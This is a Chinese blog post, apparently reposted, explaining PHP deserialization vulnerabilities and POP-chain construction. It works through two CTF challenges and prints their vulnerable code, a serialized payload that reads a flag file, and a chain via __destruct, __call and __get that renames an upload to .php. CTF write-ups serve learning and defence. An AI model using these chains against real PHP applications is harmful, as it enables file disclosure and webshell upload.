php反序列化跨类调用,PHP反序列化利用链构造之路

转载

M3小蘑菇 于 2021-04-01 00:19:42 发布 143 收藏
文章标签： php反序列化跨类调用

序列化和反序列化

序列化就是通过serialize()把一个对象转成字符串，方便传递和使用。

反序列化就是使用unserialize()将序列化的字符串恢复。

测试代码：1

2

3

4

5

6

7

8

9

10

11

12

13class{

public $serv = "gurenmeng";

public $num = 123456;

}

$obj = new grm();

echo serialize($obj);

?>

序列化结果：1O:3:"grm":2:{s:4:"serv";s:9:"gurenmeng";s:3:"num";i:123456;}

解读一下：

花括号外面的 O 代表 object，3 表示类名 grm 长度为 3，2 表示里面有两个属性，第一个属性是长度为4的serv，值为长度为9的字符串gurenmeng；第二个属性是长度为3的num，值为int型的123456。

反序列化结果：1

2

3

4

5$obj = new grm();

$a = serialize($obj);

var_dump(unserialize($a));

魔术方法

通常在反序列化漏洞中，魔术方法都扮演着一个不可或缺的角色，没有魔术方法的反序列化漏洞是没有灵魂的。有些魔术方法是构造利用链的必经之路，有些则是需要绕过的。

反序列化漏洞

反序列化漏洞的最重要的成因就是我们可以控制传递给unserialize()的参数，然后精心构造利用链，控制对象内部属性和方法，从而达到绕过一些限制，和利用我们想要利用的方法去达到一些攻击效果。

在这个利用过程中，Magic Function(魔术方法)扮演者重要的角色。

前面提供了链接解读这些方法的作用和可能存在的问题以及一些利用方式，这里不再过多解读。

这里就分析两个简单的实例作为本篇文章的结束吧：

简单的反序列化

这道题很简单，仅作为入门(应该是来自pctf)：

题目链接：http://web.jarvisoj.com:32768/

关于如何使用文件包含来找文件就不细说，直接看一下反序列化：1

2

3

4

5

6

7

8

9

10

11//index.php

require_once('shield.php');

$x = new Shield();

isset($_GET['class']) && $g = $_GET['class'];

```
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14//showimg.php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>1
2
```

```
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23//shield.php
//flag is in pctf.php
class Shield{
public $file;
function __construct($filename = ''){
$this -> file = $filename;
}
function readfile(){
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
return @file_get_contents($this->file);
```

```
}
}
}
$obj = new Shield("pctf.php");
echo serialize($obj);
?>1
2
3
4
5
6
7//pctf.php
//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
//Fake flag:
echo "FLAG: PCTF{I_4m_not_fl4g}"
?>
```

整个题代码少，流程简单，showimg.php是用来读文件的，但是读不到pctf.php，然后看index.php中有：

```
1
2
3
4if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
```

就是传入一个序列化的字符串，经过服务器反序列化，然后调用readfile()函数的一个简单过程。

在shield.php文件中，有一个shield类，类里面有一个构造函数，用来初始化$file，也就是文件名，readfile()方法也没有任何过滤，直接就返回读取到的文件内容。

思路就很简单： __construct()(赋值$file值为pctf.php)->readfile()(直接读取pctf.php)

payload：

```
1
2
3
4
```

5

6

7

8

9

10

11

12

13

14

15<?php

class Shield{

public $file;

function __construct($filename = ''){

$this -> file = $filename;

}

}

$obj = new Shield("pctf.php");

echo serialize($obj);

?>

//O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

//index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

第三届强网杯Upload

这道题级别为困难，反正我是不会做，不过有小队成员做出来了，tql

在我另一篇文章里有这个题的详细writeup，这里只说这个题的一个利用过程。

(全程文字描述，并且没有贴实例代码，复现代码分享在文末)

提示：对于学习PHP反序列化此题值得分析

这个题的利用点在1@copy($this->filename_tmp, $this->filename);

上传没有办法绕过，只能通过copy来更改文件名；这里$filename_tmp和$filename都是可控的

主要是要进入到Profile类中的 upload_img() 这个方法中来执行这段代码

正常情况下无法进入这个方法(反序列化cookie并不能直接进入upload_img()这个功能性函数中去)，只能通过__call() 这个魔术方法去调用。1

2__call: 如果调用的函数不存在，就会调用__call()方法，$name是函数名，$arguments是传递的参数

__get(): 如果调用的属性不存在，反序列化就会默认调用__get()方法，$name是属性名

那么如何反序列化之后自动调用一个不存在的方法：通过Register类中的__destruct() 方法

先提出payload：1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30payload:

namespace appwebcontroller;

class Profile{

public $ext;

public $filename_tmp;

public $filename;

public $except;

}

class Register{

public $checker;

public $registed;

}

$reg = new Register();

$pro = new Profile();

$pro->except = array('index'=>'upload_img');

$pro->ext = 1;

$pro->filename_tmp =
'upload/9862a5f0c459c3f78ba4bab12279ea3d/b1a224c24d78e208556d6206b9ec7c72.png';

$pro->filename = 'upload/9862a5f0c459c3f78ba4bab12279ea3d/gurenmeng.php';

$reg->checker = $pro;

$reg->registed = 0;

echo base64_encode(serialize($reg));

?>

$reg是Register类的一个对象，在Register类的__construct()方法中，定义了$reg->checker为Index()对象，而语句$reg->checker=$pro是将$pro对象赋值给了$reg->checker，而在Profile这个类中没有index()方法

所以$reg对象最后执行__construct()方法时调用的index()方法是不存在的，就会调用Profile类中的__call()

这里调用的index()方法不存在，将index传递给 __call(), 参数为空1

2

3

4

5

6

7

8

9

10

11public function __get($name)

{

return $this->except[$name];

}

public function __call($name, $arguments)

{

if($this->{$name}){

$this->{$this->{$name}}($arguments);

}

}

if($this->{$name}) 就是 $this->index，而这个属性也是不存在的，就会调用 __get() 方法；我们payload赋值了$pro->except=array('index'=>'upload_img')，相当于这里return $this->except[$name] 返回的是 upload_img，然后就执行下一步$this->{$this->{$name}}($arguments)，也就是 $this->upload_img()

进入到了upload_img()方法，整个利用链也就完成了。

总结

个人感觉强网杯这个题非常有价值，对于学习php反序列化来说是非常值得分析一下的。